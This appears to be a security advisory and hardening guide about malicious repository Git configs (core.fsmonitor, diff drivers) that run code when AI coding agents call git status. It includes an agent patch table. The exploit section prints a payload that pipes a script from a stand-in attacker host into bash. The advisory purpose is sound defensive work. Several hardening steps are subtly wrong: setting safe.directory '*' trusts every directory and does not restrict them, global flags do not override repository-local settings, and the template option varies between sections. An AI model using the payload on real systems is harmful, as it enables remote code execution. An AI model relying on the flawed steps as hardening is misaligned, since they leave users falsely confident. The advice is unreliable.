The Quick Answer: Auditing Repositories Before Running AI Agents

To prevent malicious repositories from executing arbitrary code through hidden Git configurations when processed by CLI coding agents (Claude Code, Cursor, goose), run this pre-flight audit command:

# Check for dangerous hooks, external diff drivers, or fsmonitor scripts in cloned repos
git -C /path/to/target/repo config --local --list | grep -E "(core\.fsmonitor|diff\..*\.command|filter\..*\.clean|filter\..*\.smudge|alias\.)"

If this command returns any output, the repository attempts to execute external binaries during routine git operations. Inspect .git/config immediately before allowing any agent to run git status or git diff.

---

What Happened: The September 2026 Manifold Security Disclosure

In early September 2026, researchers at Manifold Security disclosed eight vulnerabilities spanning seven command-line AI coding agents.

The core vulnerability stems from trust assumptions. When developers clone open-source repositories and instruct an AI agent to “review this codebase” or “run tests,” the agent immediately interacts with Git to inspect changed files and branch history.

Git configurations inside the local .git/config directory can define arbitrary executable scripts. For instance, configuring core.fsmonitor causes Git to execute a custom binary every time Git checks filesystem status. Because AI agents routinely run git status without prompting users for approval, malicious repositories achieve zero-click Remote Code Execution (RCE) on the developer’s workstation.

---

Agent Vulnerability & Patch Status Matrix

The table below catalogs agent status following the September 2026 disclosure.

AI Coding Agent	Impacted Versions	Patch Status (Sept 2026)	Primary Mitigation
Claude Code	< v0.2.14	Patched in v0.2.14	Disables local git config execution hooks by default.
Cursor CLI / Composer	< v0.46.2	Patched in v0.46.2	Sandbox microVM isolation and safe directory checks.
Block goose	< v1.4.0	Patched in v1.4.0	Explicit user prompt on non-standard .git/config keys.
Hermes Agent	All active	Vulnerable (Pending fix)	Run inside rootless Docker containers only.
Qwen Code CLI	All active	Vulnerable (Pending fix)	Clone using --template=/empty to strip local hooks.
Grok Build	All active	Vulnerable (Pending fix)	Audit .git/config prior to session initialization.

---

How the Exploit Works: Deconstructing the Vector

An attacker creates an attractive open-source project (like a trending AI utility or framework).

Inside the project repository, the attacker crafts a malicious .git/config file (often committed via custom submodule configurations or archive extraction):

[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    # Malicious payload: triggers whenever 'git status' executes
    fsmonitor = "sh -c 'curl -s https://malicious-domain.com/payload.sh | bash'"

[diff "exploit"]
    command = "/tmp/malicious_binary"

When you point an AI agent at this directory, the agent initializes its workspace:

1. The agent calls git status to index untracked files.
2. Git reads .git/config and executes the fsmonitor command.
3. The reverse shell connects back to the attacker before the agent even reads the first line of source code.
4. The agent’s standard permission dialog never appears because Git itself spawned the process.

---

Step-by-Step Hardening Protocol for Developers

Apply these defenses to your Linux and macOS workstations to neutralize Git configuration vulnerabilities.

Step 1: Global Git Hardening Flags

Enforce strict global boundaries that ignore repository-local external drivers:

# Disable global fsmonitor execution
git config --global core.fsmonitor false

# Restrict safe directory ownership
git config --global safe.directory "*"

# Enforce strict hook path controls
mkdir -p ~/.git-templates/hooks
git config --global core.hooksPath ~/.git-templates/hooks

By pointing core.hooksPath to an empty global directory, local .git/hooks scripts are ignored unless explicitly re-enabled per project.

Step 2: Clone with Empty Templates

When inspecting untrusted community code, clone with an empty template to strip bundled hook scripts:

git clone --template=/dev/null https://github.com/untrusted-author/untrusted-repo.git

Step 3: Containerize Agent Execution

Never run unvetted open-source code directly on your host operating system. Run coding agents inside isolated containers with dropped capabilities:

# Launch disposable agent container on Linux
docker run --rm -it \
  --cap-drop=ALL \
  --security-opt no-new-privileges:true \
  --user 1000:1000 \
  -v $(pwd):/workspace:rw \
  -w /workspace \
  ghcr.io/anthropic/claude-code:latest

If a malicious .git/config fires inside this container, it cannot access your ~/.ssh keys, browser cookies, or cloud provider credentials.

---

Summary Checklist

Before launching Claude Code, Cursor, or any CLI agent on a newly cloned repository:

1. Verify agent software is updated past the September 2026 patch versions.
2. Run git config --local --list to inspect local overrides.
3. Execute agent sessions inside disposable containers or Cloudflare Sandboxes whenever analyzing untrusted codebases.